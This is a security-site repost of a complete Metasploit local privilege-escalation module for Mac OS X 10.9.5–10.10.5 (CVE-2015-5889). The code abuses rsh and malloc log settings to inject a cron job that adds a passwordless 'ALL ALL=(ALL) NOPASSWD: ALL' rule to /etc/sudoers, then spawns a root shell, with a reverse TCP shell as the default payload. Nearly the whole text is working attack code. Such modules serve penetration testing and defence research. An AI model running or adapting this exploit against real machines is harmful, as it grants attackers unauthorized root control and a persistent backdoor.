首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mac OS X 10.9.5 / 10.10.5 rsh/libmalloc Privilege Escalation
来源:metasploit.com 作者:rebel 发布时间:2015-10-27  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Local

  Rank = NormalRanking

  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Mac OS X 10.9.5 / 10.10.5 - rsh/libmalloc Privilege Escalation',
      'Description'    => %q{
        This module writes to the sudoers file without root access by exploiting rsh and malloc log files.
        Makes sudo require no password, giving access to su even if root is disabled.
        Works on OS X 10.9.5 to 10.10.5 (patched on 10.11).
      },
      'Author'         => [
        'rebel',      # Vulnerability discovery and PoC
        'shandelman116'  # Copy/paste AND translator monkey
      ],
      'References'     => [
        ['EDB', '38371'],
        ['CVE', '2015-5889']
      ],
      'DisclosureDate' => 'Oct 1 2015',
      'License'        => MSF_LICENSE,
      # Want to ensure that this can be used on Python Meterpreter sessions as well
      'Platform'       => ['osx', 'python'],
      'Arch'           => [ARCH_X86_64, ARCH_PYTHON],
      'SessionTypes'   => ['shell', 'meterpreter'],
      'Privileged'     => true,
      'Targets'        => [
        ['Mac OS X 10.9.5-10.10.5', {}]
      ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {
        'PAYLOAD'         => 'osx/x64/shell_reverse_tcp'
      }
    ))

    register_options(
      [
        OptInt.new('WaitTime', [true, 'Seconds to wait for exploit to work', 60]),
        OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
      ], self.class
    )
  end

  def exploit
    # Check OS
    os_check

    # Check if crontab file existed already so it can be restored at cleanup
    if file_exist? "/etc/crontab"
      @crontab_original = read_file("/etc/crontab")
    else
      @crontab_original = nil
    end

    # Writing payload
    if payload.arch.include? ARCH_X86_64
      vprint_status("Writing payload to #{payload_file}.")
      write_file(payload_file, payload_source)
      vprint_status("Finished writing payload file.")
      register_file_for_cleanup(payload_file)
    elsif payload.arch.include? ARCH_PYTHON
      vprint_status("No need to write payload. Will simply execute after exploit")
      vprint_status("Payload encodeded is #{payload.encoded}")
    end

    # Run exploit
    sploit

    # Execute payload
    print_status('Executing payload...')
    if payload.arch.include? ARCH_X86_64
      cmd_exec("chmod +x #{payload_file}; #{payload_file} & disown")
    elsif payload.arch.include? ARCH_PYTHON
      cmd_exec("python -c \"#{payload.encoded}\" & disown")
    end
    vprint_status("Finished executing payload.")
  end

  def os_check
    # Get sysinfo
    sysinfo = get_sysinfo
    # Make sure its OS X (Darwin)
    unless sysinfo["Kernel"].include? "Darwin"
      print_warning("The target system does not appear to be running OS X!")
      print_warning("Kernel information: #{sysinfo['Kernel']}")
      return
    end
    # Make sure its not greater than 10.5 or less than 9.5
    version = sysinfo["ProductVersion"]
    minor_version = version[3...version.length].to_f
    unless minor_version >= 9.5 && minor_version <= 10.5
      print_warning("The target version of OS X does not appear to be compatible with the exploit!")
      print_warning("Target is running OS X #{sysinfo['ProductVersion']}")
    end
  end

  def sploit
    user = cmd_exec("whoami").chomp
    vprint_status("The current effective user is #{user}. Starting the sploit")
    # Get size of sudoers file
    sudoer_path = "/etc/sudoers"
    size = get_stat_size(sudoer_path)

    # Set up the environment and command for spawning rsh and writing to crontab file
    rb_script = "e={\"MallocLogFile\"=>\"/etc/crontab\",\"MallocStackLogging\"=>\"yes\",\"MallocStackLoggingDirectory\"=>\"a\n* * * * * root echo \\\"ALL ALL=(ALL) NOPASSWD: ALL\\\" >> /etc/sudoers\n\n\n\n\n\"}; Process.spawn(e,[\"/usr/bin/rsh\",\"rsh\"],\"localhost\",[:out, :err]=>\"/dev/null\")"
    rb_cmd = "ruby -e '#{rb_script}'"

    # Attempt to execute
    print_status("Attempting to write /etc/crontab...")
    cmd_exec(rb_cmd)
    vprint_status("Now to check whether the script worked...")

    # Check whether it worked
    crontab = cmd_exec("cat /etc/crontab")
    vprint_status("Reading crontab yielded the following response: #{crontab}")
    unless crontab.include? "ALL ALL=(ALL) NOPASSWD: ALL"
      vprint_error("Bad news... it did not write to the file.")
      fail_with(Failure::NotVulnerable, "Could not successfully write to crontab file.")
    end

    print_good("Succesfully wrote to crontab file!")

    # Wait for sudoers to change
    new_size = get_stat_size(sudoer_path)
    print_status("Waiting for sudoers file to change...")

    # Start timeout block
    begin
      Timeout.timeout(datastore['WaitTime']) {
        while new_size <= size
          Rex.sleep(1)
          new_size = get_stat_size(sudoer_path)
        end
      }
    rescue Timeout::Error
      fail_with(Failure::TimeoutExpired, "Sudoers file size has still not changed after waiting the maximum amount of time. Try increasing WaitTime.")
    end
    print_good("Sudoers file has changed!")

    # Confirming root access
    print_status("Attempting to start root shell...")
    cmd_exec("sudo -s su")
    user = cmd_exec("whoami")
    unless user.include? "root"
      fail_with(Failure::UnexpectedReply, "Unable to acquire root access. Whoami returned: #{user}")
    end
    print_good("Success! Acquired root access!")
  end

  def get_stat_size(file_path)
    cmd = "env -i [$(stat -s #{file_path})] bash -c 'echo $st_size'"
    response = cmd_exec(cmd)
    vprint_status("Response to stat size query is #{response}")
    begin
      size = Integer(response)
      return size
    rescue ArgumentError
      fail_with(Failure::UnexpectedReply, "Could not get stat size!")
    end
  end

  def payload_source
    if payload.arch.include? ARCH_X86_64
      return Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
    elsif payload.arch.include? ARCH_PYTHON
      return payload.encoded
    end
  end

  def payload_file
    @payload_file ||=
      "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
  end

  def cleanup
    vprint_status("Starting the cron restore process...")
    super
    # Restore crontab back to is original state
    # If we don't do this, then cron will continue to append the no password rule to sudoers.
    if @crontab_original.nil?
      # Erase crontab file and kill cron process since it did not exist before
      vprint_status("Killing cron process and removing crontab file since it did not exist prior to exploit.")
      rm_ret = cmd_exec("rm /etc/crontab 2>/dev/null; echo $?")
      if rm_ret.chomp.to_i == 0
        vprint_good("Successfully removed crontab file!")
      else
        print_warning("Could not remove crontab file.")
      end
      Rex.sleep(1)
      kill_ret = cmd_exec("killall cron 2>/dev/null; echo $?")
      if kill_ret.chomp.to_i == 0
        vprint_good("Succesfully killed cron!")
      else
        print_warning("Could not kill cron process.")
      end
    else
      # Write back the original content of crontab
      vprint_status("Restoring crontab file back to original contents. No need for it anymore.")
      cmd_exec("echo '#{@crontab_original}' > /etc/crontab")
    end
    vprint_status("Finished the cleanup process.")
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Th3 MMA mma.php Backdoor Arbit
·Samsung SecEmailUI Script Inje
·MacOS X 10.11 Hardlink Resourc
·Sam Spade 1.14 - Scan From IP
·MacOS X 10.11 FTS Buffer Overf
·NetUSB Kernel Stack Buffer Ove
·Winamp Bento Browser Remote Co
·AIX 7.1 - lquerylv Local Privi
·Microsoft Compiled HTML Help R
·Gold MP4 Player - .swf Local E
·HTML Compiler Remote Code Exec
·Python 2.7 hotshot Module - pa
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved